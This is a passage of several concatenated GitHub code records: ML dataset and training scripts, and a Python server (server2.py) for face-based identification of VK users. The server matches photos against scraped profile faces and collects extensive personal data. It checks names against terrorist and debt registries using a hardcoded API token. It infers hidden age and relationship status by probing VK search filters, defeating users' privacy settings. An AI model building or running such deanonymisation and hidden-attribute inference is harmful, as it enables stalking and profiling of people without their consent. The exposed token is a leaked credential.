self.key = np.load(keyFile)\n\n # encrypt the image with the key\n # image: the 3-channel image to be encrypted\n def encrypt(self, image):\n # get the width and height of the image\n width, height = 224, 224\n # get the image matrix by converting the tensor to numpy\n image_matrix = image.permute(1, 2, 0).numpy()\n # if the image is grayscale, convert it to RGB\n if len(image_matrix.shape) == 2:\n image_matrix = np.stack((image_matrix,)*3, axis=-1)\n\n # get the encrypted image matrix\n encrypted_matrix = np.zeros((width, height, 3))\n blocks = int(width / self.key_size)\n for i in range(blocks):\n for j in range(blocks):\n for k in range(3): # for each channel\n # get the block of the image\n block = image_matrix[i*self.key_size:(\n i+1)*self.key_size, j*self.key_size:(j+1)*self.key_size, k]\n # get the encrypted block by flatten the block and multiply the key\n encrypted_block = np.matmul(block.flatten(), self.key[k])\n # reshape the encrypted block to the original size\n encrypted_block = encrypted_block.reshape(\n (self.key_size, self.key_size))\n # put the encrypted block into the encrypted image matrix\n encrypted_matrix[i*self.key_size:(i+1)*self.key_size, j*self.key_size:(\n j+1)*self.key_size, k] = encrypted_block\n # return the encrypted image as float32 as npy format\n return encrypted_matrix.astype(np.float32)\n\n\nclass ImageNet:\n def __init__(self, root, split):\n transform = transforms.Compose([\n transforms.Resize(256),\n transforms.CenterCrop(224),\n transforms.ToTensor(),\n # transforms.Normalize(mean=[0.485, 0.456, 0.406], std=[\n # 0.229, 0.224, 0.225])\n ])\n self.dataset = datasets.ImageNet(\n root, split=split, transform=transform)\n\n def make_subset(self, start_end):\n start, end = start_end\n indices_to_keep = [i for i, (_, class_idx) in enumerate(\n self.dataset.samples) if class_idx in range(start, end)]\n self.dataset = torch.utils.data.Subset(self.dataset, indices_to_keep)\n return self\n\n def loader(self, batch_size):\n return DataLoader(self.dataset, batch_size=batch_size, shuffle=False, num_workers=0)\n\n\nconfig = {\n 'ImageNet_root': 'D:/ImageNet/',\n 'num_classes': (601, 701),\n}\n\n\nclass DatasetGenerator:\n def __init__(self, root, dataset_path, key_size):\n self.root = root\n self.key_size = key_size\n self.resolution = 224\n self.dataset_path = dataset_path\n self.encryptor = Encryptor(key_size)\n\n # get the image path list\n def get_image_list(self):\n self.image_list = [] # {ID: image path}\n for root, dirs, files in os.walk(self.root):\n for file in files:\n if file.endswith('.JPEG'):\n ID = int(file.split('.')[0].split('_')[2])\n path = os.path.join(root, file)\n self.image_list.append((ID, path))\n\n # read labels from the file\n def read_labels(self, labelFile='ILSVRC2012_validation_ground_truth.txt'):\n self.labels = []\n with open(labelFile, 'r') as f:\n for line in f:\n self.labels.append(int(line))\n\n # generate the dataset\n def generate_dataset(self):\n testset = ImageNet(config['ImageNet_root'], 'val').make_subset(config['num_classes']).loader(\n batch_size=1)\n trainset = ImageNet(config['ImageNet_root'], 'train').make_subset(config['num_classes']).loader(\n batch_size=1)\n\n # generate the trainset\n if not os.path.exists(f'{self.dataset_path}/train'):\n os.makedirs(f'{self.dataset_path}/train')\n trainset_labels = open(f'{self.dataset_path}/train_label.txt', 'w+')\n\n print('Generating the trainset...')\n # initialize the progress bar\n widgets = ['Progress: ', progressbar.Percentage(), ' ',\n progressbar.Bar(marker=progressbar.RotatingMarker()), ' ', progressbar.ETA()]\n bar = progressbar.ProgressBar(\n widgets=widgets, maxval=trainset.__len__())\n bar.start()\n for i, data in enumerate(trainset, 0):\n image, label = data\n image = image[0]\n label = label[0] - config['num_classes'][0]\n # encrypt and save the image to the trainset\n encrypted_image = self.encryptor.encrypt(image)\n if encrypted_image.shape != (self.resolution, self.resolution, 3):\n print(encrypted_image.shape)\n np.save(f'{self.dataset_path}/train/{i}.npy', encrypted_image)\n # write the label to the train_label.txt\n trainset_labels.write(f'{i}.npy {label}\\n')\n # update the progress bar\n bar.update(i)\n\n bar.finish()\n # generate the testset\n if not os.path.exists(f'{self.dataset_path}/test'):\n os.makedirs(f'{self.dataset_path}/test')\n testset_labels = open(f'{self.dataset_path}/test_label.txt', 'w+')\n\n print('Generating the testset...')\n # initialize the progress bar\n widgets = ['Progress: ', progressbar.Percentage(), ' ',\n progressbar.Bar(marker=progressbar.RotatingMarker()), ' ', progressbar.ETA()]\n bar = progressbar.ProgressBar(\n widgets=widgets, maxval=testset.__len__())\n bar.start()\n for i, data in enumerate(testset, 0):\n image, label = data\n image = image[0]\n label = label[0] - config['num_classes'][0]\n # encrypt and save the image to the testset\n encrypted_image = self.encryptor.encrypt(image)\n if encrypted_image.shape != (self.resolution, self.resolution, 3):\n print(encrypted_image.shape)\n np.save(f'{self.dataset_path}/test/{i}.npy', encrypted_image)\n # write the label to the test_label.txt\n testset_labels.write(f'{i}.npy {label}\\n')\n # update the progress bar\n bar.update(i)\n bar.finish()\n print('Done!')\n\n\nif __name__ == '__main__':\n DatasetGenerator = DatasetGenerator(\n root=config['ImageNet_root'], dataset_path='D:/dataset3/data3', key_size=16)\n DatasetGenerator.generate_dataset()\n","repo_name":"Shuiliangwu/CAS771-ERCNN","sub_path":"data/dataset_generator_approach one_ImageNet1k.py","file_name":"dataset_generator_approach one_ImageNet1k.py","file_ext":"py","file_size_in_byte":7685,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"} +{"seq_id":"9971772345","text":"from platform import python_version\nimport sys\nimport dlib\nprint(dlib.DLIB_USE_CUDA)\nprint(dlib.__version__)\nimport requests\n# cuda.set_device(0);\nimport face_recognition;\nsys.setrecursionlimit(10**6)\nprint(python_version())\nfrom cgi import parse_header, parse_multipart, parse_qs\nimport json\nimport cv2\nimport numpy as np\nfrom time import time as timer\nfrom multiprocessing.pool import ThreadPool\nimport json\n\nfrom http.server import BaseHTTPRequestHandler, HTTPServer\n\nimport vk\nfrom bs4 import BeautifulSoup\nfrom requests.exceptions import HTTPError\nimport io\nimport os\nimport time\nfrom google.cloud import vision\nimport countries\nimport weights\nimport operator\nimport math\n\n\nweights_photo_tagsD = weights.Weights().getWeightsPhotoTags()\nweights_groupsD = weights.Weights().getWeightsGroupsD()\n\nos.environ[\"GOOGLE_APPLICATION_CREDENTIALS\"]=\"key.json\"\n\nsession = vk.Session(access_token='')\nvk_api = vk.API(session, v='5.126', lang='ru', timeout=10)\n\n\nclass myHandler(BaseHTTPRequestHandler):\n\tdef parse_POST(self):\n\t\tctype, pdict = parse_header(self.headers['content-type'])\n\n\t\tif ctype == 'multipart/form-data':\n\t\t\tpostvars = parse_multipart(self.rfile, pdict)\n\t\telif ctype == 'application/x-www-form-urlencoded':\n\t\t\tlength = int(self.headers['content-length'])\n\t\t\tpostvars = parse_qs(self.rfile.read(length), keep_blank_values=1)\n\t\telse:\n\t\t\tpostvars = {}\n\t\treturn postvars\n\tdef do_POST(self):\n\t\tpostvars = self.parse_POST()\n\t\tself.send_response(200)\n\t\tself.send_header('Content-type','text/html')\n\t\tself.end_headers()\n\t\tpath = self.path\n\t\tif path == \"/api/addUsersToBD\":\t\n\t\t\tusers = str(postvars[b'users']).replace(\"[b'\",\"\").replace(\"']\",\"\").replace(\"https://vk.com/\",\"\")\n\t\t\t# find_face_photos = str(postvars[b'find_face_photos']).replace(\"[b'\",\"\").replace(\"']\",\"\")\n\t\t\tusersURLS = users.split(\";\")\n\t\t\tusersURLS = \",\".join(usersURLS)\n\t\t\t# findFacePhotoList = find_face_photos.split(\";\")\n\t\t\tfoundedFaceList = addUsersToBD(usersURLS)\n\t\t\tself.wfile.write(bytes(str(foundedFaceList), 'utf-8'))\n\t\tif path == \"/api/findFace\":\t\n\t\t\tphoto = str(postvars[b'photo']).replace(\"[b'\",\"\").replace(\"']\",\"\")\n\t\t\tfoundedFaceList = findFace(photo)\n\t\t\tself.wfile.write(bytes(str(foundedFaceList), 'utf-8'))\n\t\tif path == \"/api/detectLandMarks\":\t\n\t\t\tuser_id = str(postvars[b'user_id']).replace(\"[b'\",\"\").replace(\"']\",\"\")\n\t\t\tfoundedFaceList = detect_landmarks(user_id)\n\t\t\tself.wfile.write(bytes(str(foundedFaceList), 'utf-8'))\n\t\tif path == \"/api/getGroupsInfo\":\t\n\t\t\tuser_id = str(postvars[b'user_id']).replace(\"[b'\",\"\").replace(\"']\",\"\")\n\t\t\tfoundedFaceList = getGroupsInfo(user_id)\n\t\t\tself.wfile.write(bytes(str(foundedFaceList), 'utf-8'))\n\t\tif path == \"/api/getRelationStatus\":\t\n\t\t\tuser_id = str(postvars[b'user_id']).replace(\"[b'\",\"\").replace(\"']\",\"\")\n\t\t\tfoundedFaceList = getRelationStatus(user_id)\n\t\t\tself.wfile.write(bytes(str(foundedFaceList), 'utf-8'))\n\t\tif path == \"/api/getHideAge\":\t\n\t\t\tuser_id = str(postvars[b'user_id']).replace(\"[b'\",\"\").replace(\"']\",\"\")\n\t\t\tfoundedFaceList = getHideAge(user_id)\n\t\t\tself.wfile.write(bytes(str(foundedFaceList), 'utf-8'))\n\n\t\t\t\n\n\n\t\t\t\n\tdef end_headers(self):\n\t\tself.send_header('Access-Control-Allow-Origin', '*')\n\t\tself.send_header('Access-Control-Allow-Methods', '*')\n\t\tself.send_header('Cache-Control', 'no-store, no-cache, must-revalidate')\n\t\treturn super(myHandler, self).end_headers()\nknownEncodings = []\nknownVKUIDS = []\ndef addUsersToBD(usersURLS):\n\tstart = timer()\n\n\tuids = urlVkToId(usersURLS)\n\n\tphotosUrls, uidsOut = uidsToPhotos(uids)\n\t\n\timages = ThreadPool(8).map(urlToImage, photosUrls)\n\t# results = ThreadPool(8).map(getImageAndBoxes, results)\n\t\n\n\tcount = 0\n\tfor image in images:\n\t\ttry:\n\t\t\tboxes = face_recognition.face_locations(image, model=\"cnn\")\n\t\t\tencodings = face_recognition.face_encodings(image, boxes)\n\t\t\tfor encoding in encodings:\n\t\t\t\tknownEncodings.append(encoding)\n\t\t\t\tknownVKUIDS.append(uidsOut[count]) # не забыть вставить сюда номральный массив с айдишниками\n\t\texcept Exception as e:\n\t\t\tprint(\"addUsersToBD e = \" + str(e))\n\t\tcount = count + 1\n\tprint(f\"Elapsed Time: {timer() - start}\")\n\treturn '{\"knownEncodings\":' + str(len(knownEncodings)) + ', \"knownVKUIDS\": \"' + str(len(knownVKUIDS)) + '\"}';\n\ndef findFace(photo):\n\tregions = [50, 47, 77, 78]\n\tfoundedFaceList = []\n\tage = 0\n\ttry:\n\t\timage = urlToImage(photo)\n\t\t# try:\n\t\t# \tageInfo = agender.detect_genders_ages(image)\n\t\t# \tage = ageInfo.age\n\t\t# except Exception as e:\n\t\t# \tpass\n\t\tboxes = face_recognition.face_locations(image, model=\"cnn\")\n\t\tencodings = face_recognition.face_encodings(image, boxes)\n\t\tfor otherEncoding in encodings:\n\t\t\tcounter = 0\n\t\t\tfor findEncoding in knownEncodings:\n\t\t\t\tresults = face_recognition.compare_faces([findEncoding], otherEncoding,0.5) \n\t\t\t\tif results[0] == True:\n\t\t\t\t foundedFaceList.append(knownVKUIDS[counter])\n\t\t\t\t pass\n\t\t\t\telse:\n\t\t\t\t pass\n\t\t\t\tcounter = counter + 1\n\texcept Exception as e:\n\t\tprint(\"findFace = \" + str(e))\n\tvkInfo = []\n\tresponseSSP = []\n\n\tisTerrorist = 0\n\ttry:\n\t\tvkInfo = vk_api.users.get(user_ids=foundedFaceList[0],fields=\"photo_id,verified,sex,bdate,city,country,home_town,has_photo,photo_max,online,domain,has_mobile,contacts,site,education,universities,schools,status,last_seen,followers_count,common_count,occupation,nickname,relatives,relation,personal,connections,exports,activities,interests,music,movies,tv,books,games,about,quotes,can_post,can_see_all_posts,can_see_audio,can_write_private_message,can_send_friend_request,is_favorite,is_hidden_from_feed,timezone,screen_name,maiden_name,crop_photo,is_friend,friend_status,career,military,blacklisted,blacklisted_by_me,can_be_invited_group\")\n\t\tvkInfo = vkInfo[0]\n\t\tif str(vkInfo['last_name'] + \" \" + vkInfo['first_name']) in parseTerrorists(): \n\t\t\tisTerrorist = 1\n\n\t\tfor region in regions:\n\t\t\tresponseSSPTemp = checkFSSP(vkInfo['first_name'], \"\", vkInfo['last_name'], \"\", region)\n\t\t\tif len(responseSSPTemp['response']['result'][0]['result']) > 0:\n\t\t\t\tresponseSSP = responseSSPTemp['response']['result'][0]['result']\n\t\t\t\tbreak\n\texcept Exception as e:\n\t\tprint(\"findFace = \" + str(e))\n\t\tpass\n\tif age == 0:\n\t\treturn str('{\"foundedFaceList\":' + str(foundedFaceList).replace(\"'\",'\"') + ', \"vkInfo\": ' + str(vkInfo).replace('\"','\\\\\"').replace(\"'\",'\"') + ', \"responseSSP\": ' + str(responseSSP) + ', \"isTerrorist\": ' + str(isTerrorist) +'}').replace(\"True\",\"true\").replace(\"False\",\"false\")\n\telse:\n\t\treturn str('{\"foundedFaceList\":' + str(foundedFaceList) + ', \"ageByPhoto\": ' + str(age) + ', \"vkInfo\": ' + str(vkInfo) +'}').replace(\"'\",'\"').replace(\"True\",\"true\").replace(\"False\",\"false\")\ndef parseTerrorists():\n resp = requests.get(\"http://www.fedsfm.ru/documents/terrorists-catalog-portal-act?roistat_visit=98889\")\n soup = BeautifulSoup(resp.text, 'lxml')\n return (soup.findAll(\"ol\", {\"class\": \"terrorist-list\"}))\ndef loadFsspResult(task_id):\n url = \"https://api-ip.fssp.gov.ru/api/v1.0/result\"\n try:\n response = requests.get(url,params={'token': 'tiOOORxsMiFp', 'task' : task_id})\n response.raise_for_status()\n except HTTPError as http_err:\n print(f'HTTP error occurred: {http_err}')\n except Exception as err:\n print(f'Other error occurred: {err}')\n else:\n print('Success!')\n json_response = response.json()\n if (json_response['response']['status'] == 2):\n time.sleep(2)\n loadFsspResult(task_id)\n return json_response\ndef checkFSSP(first_name, second_name, last_name, birthday, region):\n# birthday в формате дд.мм.гггг\n url = \"https://api-ip.fssp.gov.ru/api/v1.0/search/physical\"\n try:\n response = requests.get(url,\n params={'token': 'tiOOORxsMiFp', 'firstname' : first_name, 'secondname' : second_name, 'lastname' : last_name, 'region' : region, 'birthdate' : birthday},\n headers={'Content-Type': 'application/json'})\n response.raise_for_status()\n except HTTPError as http_err:\n print(f'HTTP error occurred: {http_err}')\n except Exception as err:\n print(f'Other error occurred: {err}')\n else:\n json_response = response.json()\n time.sleep(2)\n return loadFsspResult(json_response[\"response\"][\"task\"])\n\n\ndef urlVkToId(usersURLS): #\n\tuids = []\n\ttry:\n\t\tresponse = vk_api.users.get(user_ids=usersURLS)\n\t\t# print(\"response = \" + str(response))\n\t\tfor user in response: \n\t\t\tuids.append(user['id'])\n\texcept Exception as e:\n\t\tprint(\"urlVkToId = \" + str(e))\n\t\treturn uids\n\treturn uids\n\ndef getRelationStatus(user_id):\n\tout = \"Не определить\"\n\tdicts = {\n\t\t\"Не в браке\": 1,\n\t\t\"Встречается\": 2,\n\t\t\"Помолвлен(-а)\": 3,\n\t\t\"В браке\": 4,\n\t\t\"Всё сложно\": 5,\n\t\t\"В активном поиске\": 6,\n\t\t\"Влюблен(-а)\": 7,\n\t\t\"В гражданском браке\": 8,\n\t}\n\tfull_name = \"\"\n\ttry:\t\n\t\tresponse = vk_api.users.get(user_ids=user_id)\n\t\tfull_name = response[0]['first_name'] + \" \" + response[0]['last_name']\n\t\tuser_id = response[0]['id'] \n\t\tprint(full_name)\n\t\t\n\texcept Exception as e:\n\t\tprint(\"getRelationStatus full_name err = \" + str(e))\n\tfor key, value in dicts.items():\n\n\t\ttry:\n\t\t\tresponse = vk_api.users.search(q=full_name, count=1000, status=value)\n\n\t\t\tfor user in response['items']: \n\t\t\t\tif str(user['id']) == str(user_id):\n\t\t\t\t\tout = key\n\t\t\t\t\treturn str('{\"out\":\"' + str(out) + '\"}').replace(\"'\",'\"'); \n\t\t\ttime.sleep(0.4)\n\t\texcept Exception as e:\n\t\t\tprint(\"getRelationStatus err = \" + str(e))\n\t\t\n\treturn str('{\"out\":\"' + str(out) + '\"}').replace(\"'\",'\"'); \n\ndef getHideAge(user_id):\n\tout = \"Не определить\"\n\tage_from = 10\n\tage_to = 80\n\tdelta = 0\n\tfull_name = \"\"\n\ttry:\t\n\t\tresponse = vk_api.users.get(user_ids=user_id)\n\t\tfull_name = response[0]['first_name'] + \" \" + response[0]['last_name']\n\t\tuser_id = response[0]['id'] \n\t\tprint(full_name)\n\t\t\n\texcept Exception as e:\n\t\tprint(\"getRelationStatus full_name err = \" + str(e))\n\tfor i in range(20):\n\t\tprint(\"age_from\")\n\t\tprint(age_from)\n\t\tprint(\"age_to\")\n\t\tprint(age_to)\n\t\ttry:\n\t\t\tresponse = vk_api.users.search(q=full_name, count=1000, age_from=age_from, age_to=age_to)\n\t\t\tfound = False\n\t\t\tfor user in response['items']: \n\t\t\t\tif str(user['id']) == str(user_id):\n\t\t\t\t\tfound = True\n\t\t\tif age_from == age_to and found:\n\t\t\t\treturn str('{\"out\":\"' + str(age_from) + '\"}').replace(\"'\",'\"');\n\t\t\tif found:\n\t\t\t\tdelta = math.floor((age_to-age_from)/2)\n\t\t\t\tif delta == 0:\n\t\t\t\t\tdelta = 1\n\t\t\t\tage_to = age_to - delta\n\t\t\telse:\n\t\t\t\tage_to = age_to + delta\n\t\t\t\tage_from = age_from + delta\n\t\t\t\n\t\t\ttime.sleep(0.4)\n\t\texcept Exception as e:\n\t\t\ttime.sleep(0.4)\n\t\t\tprint(\"getRelationStatus err = \" + str(e))\n\t\t\n\treturn str('{\"out\":\"Не определить\"}').replace(\"'\",'\"');\ndef uidsToPhotos(uids):\n\tphotos = []\n\tuidsOut = []\n\ttry:\n\t\tfor id in uids:\n\t\t\tresponse = vk_api.photos.get(owner_id=id, album_id=\"profile\", rev=1, count=10)\n\t\t\tprint(\"id = \" + str(id))\n\t\t\tprint(\"response = \" + str(response))\n\t\t\tfor photo in response['items']:\n\t\t\t\turl = photo['sizes'][len(photo['sizes'])-3]['url']\n\t\t\t\tphotos.append(url)\n\t\t\t\tuidsOut.append(id)\n\texcept Exception as e:\n\t\tprint(\"uidsToPhotos = \" + str(e))\n\treturn photos, uidsOut\n\ndef urlToImage(url):\n\ttry:\n\t\tresponse = get(url);\n\t\tbytes = len(response.content)\n\t\timage = np.asarray(bytearray(response.content), dtype=\"uint8\")\n\t\timage = cv2.imdecode(image, cv2.IMREAD_COLOR)\n\t\treturn image\n\texcept Exception as e:\n\t\tprint(\"urlToImage = \" + str(e))\n\t\treturn 0\n\ndef urlToContent(url):\n\ttry:\n\t\tresponse = get(url);\n\t\tbytes = len(response.content)\n\t\t# image = np.asarray(bytearray(response.content), dtype=\"uint8\")\n\t\treturn response.content\n\texcept Exception as e:\n\t\tprint(\"urlToImage = \" + str(e))\n\t\treturn 0\n\ndef get(url):\n try:\n return requests.get(url, timeout=0.8); \n except Exception:\n pass\n\ndef detect_landmarks(user_id):\n\turls = []\n\tresponse = vk_api.photos.get(owner_id=user_id,album_id=\"wall\", rev=1, count=30)\n\tfor photo in response['items']:\n\t\tfor size in photo['sizes']:\n\t\t\tif size['width'] > 600 and size['height'] > 600:\n\t\t\t\turl = size['url']\n\t\t\t\turls.append(url)\n\t\t\t\tbreak\n\tresult = {}\n\t# urls = [\"https://sun9-4.userapi.com/impf/c604625/v604625712/265c9/WwBwt2_6ygk.jpg?size=1280x960&quality=96&proxy=1&sign=a1649aba17c875e482fbe4e2c069efb3\",\"https://sun9-12.userapi.com/impf/c623900/v623900048/2a2f1/ezedrrOTrno.jpg?size=816x1088&quality=96&proxy=1&sign=b9f44a4a1b515f4173fc845019eb340b\",\"https://sun9-56.userapi.com/impf/c841138/v841138048/3aa38/TiBv8n5E7UU.jpg?size=744x744&quality=96&proxy=1&sign=b80d93be964e670e8e935a091a54f309\"]\n\tcontents = ThreadPool(8).map(urlToContent, urls)\n\tcountryList = []\n\ttags_weight = 0\n\ttags_count = 1\n\tfor content in contents:\n\t\ttry:\n\t\t\tclient = vision.ImageAnnotatorClient()\n\t\t\t# with io.open(path, 'rb') as image_file:\n\t\t\t# \tcontent = image_file.read()\n\n\t\t\timage = vision.Image(content=content)\n\n\t\t\tlandmarkResponse = client.landmark_detection(image=image)\n\t\t\tlandmarks = landmarkResponse.landmark_annotations\n\n\n\t\t\tlabelsResponse = client.label_detection(image=image)\n\t\t\tlabels = labelsResponse.label_annotations\n\t\t\t# return str(labelsResponse)+\";\"+str(landmarks)\n\t\t\tprint('Labels:')\n\t\t\t# Получение объектов на картинке\n\t\t\t\n\t\t\tfor label in labels:\n\t\t\t\tlabel = label.description\n\t\t\t\tif label in result:\n\t\t\t\t\tresult[label] = result[label] + 1\n\t\t\t\telse:\n\t\t\t\t\tresult[label] = 1\n\t\t\t\ttry:\n\t\t\t\t\tweight = weights_photo_tagsD[label]\n\t\t\t\t\tprint(weight)\n\t\t\t\t\tif weight is not None:\n\t\t\t\t\t\ttags_weight = tags_weight + weight\n\t\t\t\t\t\ttags_count = tags_count + 1\n\t\t\t\texcept Exception as e:\n\t\t\t\t\tpass\n\t\t\t\tprint(label)\n\n\t\t\tprint('Landmarks:')\n\t\t\t# Получение координат и названий городов\n\t\t\tfor landmark in landmarks:\n\t\t\t\tprint(landmark.description)\n\t\t\t\tfor location in landmark.locations:\n\t\t\t\t\tlat_lng = location.lat_lng\n\t\t\t\t\tprint('Latitude {}'.format(lat_lng.latitude))\n\t\t\t\t\tprint('Longitude {}'.format(lat_lng.longitude))\n\t\t\t\t\tcc = countries.CountryChecker('/home/admin2/TM_WORLD_BORDERS-0.3.shp')\n\t\t\t\t\tcountry = cc.getCountry(countries.Point(lat_lng.latitude, lat_lng.longitude)).iso\n\t\t\t\t\tprint(country)\n\t\t\t\t\tcountryList.append(country)\n\n\t\t\t\n\t\t\t# print(country)\n\t\texcept Exception as e:\n\t\t\tprint(\"detect_landmarks error = \" + str(e))\n\t\n\t\n\tsolvency = tags_weight / tags_count\n\tsorted_result = {}\n\tfor key,value in reversed(sorted(result.items(), key=lambda kv: kv[1])):\n\t\tsorted_result[key] = value\n\t\n\treturn str('{\"tagsFromPhoto\":' + str(sorted_result) + ', \"countries\": ' + str(countryList) + ', \"solvency\": ' + str(solvency) +'}').replace(\"'\",'\"');\n\ndef getGroupsInfo(user_id):\n\tdomains = []\n\ttempWeightsGroups = []\n\ti = 0\n\tresult = []\n\tfor groupWeight in weights_groupsD:\n\t\tdomain = list(groupWeight.keys())[0]\n\t\tgroupWeight['domain'] = domain\n\t\tdomains.append(domain)\n\t\ttempWeightsGroups.append(groupWeight)\n\t\tprint(str(i))\n\t\tif i%25 == 24 or i == len(weights_groupsD)-1:\n\t\t\tfor j in range(25-len(domains)):\n\t\t\t\tdomains.append(\"upmob\")\n\t\t\tprint(\"domains\")\n\t\t\tprint(str(domains))\n\t\t\tresponse = vk_api.execute.isMembers(owner_id=user_id,group_id1=domains[0],group_id2=domains[1],group_id3=domains[2],group_id4=domains[3],group_id5=domains[4],group_id6=domains[5],group_id7=domains[6],group_id8=domains[7],group_id9=domains[8],group_id10=domains[9],group_id11=domains[10],group_id12=domains[11],group_id13=domains[12],group_id14=domains[13],group_id15=domains[14],group_id16=domains[15],group_id17=domains[16],group_id18=domains[17],group_id19=domains[18],group_id20=domains[19],group_id21=domains[20],group_id22=domains[21],group_id23=domains[22],group_id24=domains[23],group_id25=domains[24])\n\t\t\tprint(response)\n\t\t\tprint(response['items'])\n\t\t\tj = 0\n\t\t\tfor c in str(response['items']):\n\t\t\t\tif c == \"1\":\n\t\t\t\t\tprint(\"select\")\n\t\t\t\t\tprint(domains[j])\n\t\t\t\t\tresult.append(tempWeightsGroups[j])\n\t\t\t\tj = j + 1\n\t\t\tdomains = []\n\t\t\ttempWeightsGroups = []\n\t\t\ttime.sleep(0.4)\n\t\ti = i + 1\n\ttags_weight = 0\n\ttags_count = 1\n\tfor weight in result:\n\t\ttags_weight = tags_weight + weight[weight['domain']]\n\t\ttags_count = tags_count + 1\n\tsolvency = tags_weight/tags_count\n\treturn str('{\"groupsInfo\":' + str(result) + ', \"solvency\": ' + str(solvency) +'}').replace(\"'\",'\"');\n\nserver = HTTPServer(('193.106.172.231', 80), myHandler)\nserver.serve_forever()\n\n\n\n","repo_name":"bumsun/mountain_heads_photo_recognize","sub_path":"server2.py","file_name":"server2.py","file_ext":"py","file_size_in_byte":16203,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"74526473795","text":"import torch\n\ndef expand_as_one_hot(input, C):\n \"\"\"\n Converts NxDxHxW label image to NxCxDxHxW, where each label gets converted to its corresponding one-hot vector\n :param input: 4D input image (NxDxHxW)\n :param C: number of channels/labels\n :return: 5D output image (NxCxDxHxW)\n \"\"\"\n if input.dim() == 5:\n return input\n assert input.dim() == 4\n\n # expand the input tensor to Nx1xDxHxW before scattering\n input = input.unsqueeze(1)\n # create result tensor shape (NxCxDxHxW)\n shape = list(input.size())\n shape[1] = C\n\n # scatter to get the one-hot tensor\n return torch.zeros(shape).to(input.device).scatter_(1, input, 1)\n\n\n\n","repo_name":"yykzjh/PMFS-Net","sub_path":"my-code/lib/utils/one_hot.py","file_name":"one_hot.py","file_ext":"py","file_size_in_byte":675,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"25573551832","text":"#!/usr/bin/python\n# -*- coding: utf-8 -*-\nimport os\nmypath = '/home/joker/文档/毕业设计/实验/5.18/DAVID/sal_up/'\npathout = 'sal_up.txt'\nfout = open(pathout, \"w\")\nfor x in os.listdir(mypath):\n\tfh = open(os.path.join(mypath,x))\n\tdata = fh.read()\n\tfh.close\n\tfout.write(data)\nfout.close()\n","repo_name":"x-nm/Python","sub_path":"Python_miRNA/merge.py","file_name":"merge.py","file_ext":"py","file_size_in_byte":293,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"9513310333","text":"import torch\nfrom torch import nn\nfrom torch.utils.data import Dataset\nfrom torch.utils.data import DataLoader\nfrom torchvision.transforms import ToTensor,Lambda\nfrom torch import optim\nimport numpy as np\nimport pandas as pd\nimport presets_orig\nimport presets_orig_gray\nfrom classifier import EmotionClassifier\nfrom gram_classifier import EmotionGramClassifier\nfrom color_gram_classifier import EmotionColorGramClassifier\nfrom data.wiki import WikiArt\n\n\nmodel_level={\"resnet34_orig\":{\"last\":{\"out\":(1,1,512), \"drop\":1, \"freeze_level\":7}},\n \"resnet34_gram\":{\"conv4\":{\"out\":(14, 14, 256), \"drop\":3, \"freeze_level\":7}, \"conv3\": {\"out\":(28,28,128),\"drop\":4, \"freeze_level\":4}}}\n\nmodel_config={\"resnet34_orig\":\n {\"classifier\":EmotionClassifier,\"name\":\"resnet34\", \"drop\":None, \"freeze_level\":None, \"mlp\":[[512,100],[100,9]], \"dropout\":[0.3,0.3], \"activation\":['relu','relu']},\n \"resnet34_gram\":\n {\"classifier\":EmotionColorGramClassifier,\"name\":\"resnet34\", \"drop\":None, \"freeze_level\":None, \"mlp\":None, \"dropout\":[0.3,0.3], \"activation\":['relu','relu']}}\n\n#fillup the model config by feature_set#\ndef update_model_config():\n model_config[args.model][\"drop\"]=model_level[args.model][args.feature_level][\"drop\"]\n model_config[args.model][\"freeze_level\"]=model_level[args.model][args.feature_level][\"freeze_level\"]\n if args.model==\"resnet34_gram\":#mlp, too\n mlp_dim=0\n if \"texture\" in args.feature_set:\n mlp_dim+=model_level[args.model][args.feature_level][\"out\"][2]\n if \"composition\" in args.feature_set:\n mlp_dim+=model_level[args.model][args.feature_level][\"out\"][0]*model_level[args.model][args.feature_level][\"out\"][1]\n if \"color\" in args.feature_set:\n mlp_dim+=3\n model_config[args.model][\"mlp\"]=[[mlp_dim,100],[100,9]]\n\n\n \ndef train_one_epoch(dataloader, model, loss_fn, optimizer, device):\n size = len(dataloader.dataset)\n model.train()\n for batch, (X_color,X_gray,y,_) in enumerate(dataloader):\n \n X_color,X_gray, y = X_color.to(device), X_gray.to(device), y.to(device)\n\n #print(y)\n\n # Compute prediction error\n pred = model(torch.cat((X_color,X_gray),axis=1))\n loss = loss_fn(pred, y)\n\n # Backpropagation\n optimizer.zero_grad()\n loss.backward()\n optimizer.step()\n\n loss, current = loss.item(), (batch + 1) * len(X_color)\n print(f\"loss: {loss:>7f} [{current:>5d}/{size:>5d}]\")\n\n\n\ndef evaluate(dataloader, model, loss_fn, device):\n size = len(dataloader.dataset)\n num_batches = len(dataloader)\n model.eval()\n test_loss, correct = 0, 0\n with torch.no_grad():\n for batch, (X_color,X_gray,y,_) in enumerate(dataloader):\n X_color, X_gray, y = X_color.to(device), X_gray.to(device), y.to(device)\n pred = model(torch.cat((X_color,X_gray),axis=1))\n current = (batch + 1) * len(X_color)\n test_loss += loss_fn(pred, y).item()\n if args.data==\"hist_emotion\": \n correct += (pred.argmax(1) == y.argmax(1)).type(torch.float).sum().item()\n elif args.data==\"max_emotion\":\n correct += (pred.argmax(1) == y).type(torch.float).sum().item()\n print(f\"{current:>5d}/{size:>5d}\")\n test_loss /= num_batches\n correct /= size\n print(f\"Test Error: \\n Accuracy: {(100*correct):>0.1f}%, Avg loss: {test_loss:>8f} \\n\")\n \n\ndef collect(dataloader, args, model_to_collect, device):\n try:\n os.system(\"mkdir \"+args.do_cllct[2]) #folder to save embedding\"\n except:\n print(\"...folder exists already\")\n\n backbone=np.empty((0,model_config[args.model][\"mlp\"][0][0]))#512\n hidden_embedding=np.empty((0,model_config[args.model][\"mlp\"][-1][0]))#100\n\n for batch, (X_color,X_gray,_,_) in enumerate(dataloader):\n X_color, X_gray = X_color.to(device),X_gray.to(device)\n temp_backbone = model_to_collect.collect_feat(torch.cat((X_color,X_gray),axis=1)).detach().cpu().numpy()\n backbone=np.append(backbone,temp_backbone,axis=0)\n temp_hidden_embedding=model_to_collect.collect_hidden_embedding(torch.cat((X_color,X_gray),axis=1)).detach().cpu().numpy()\n 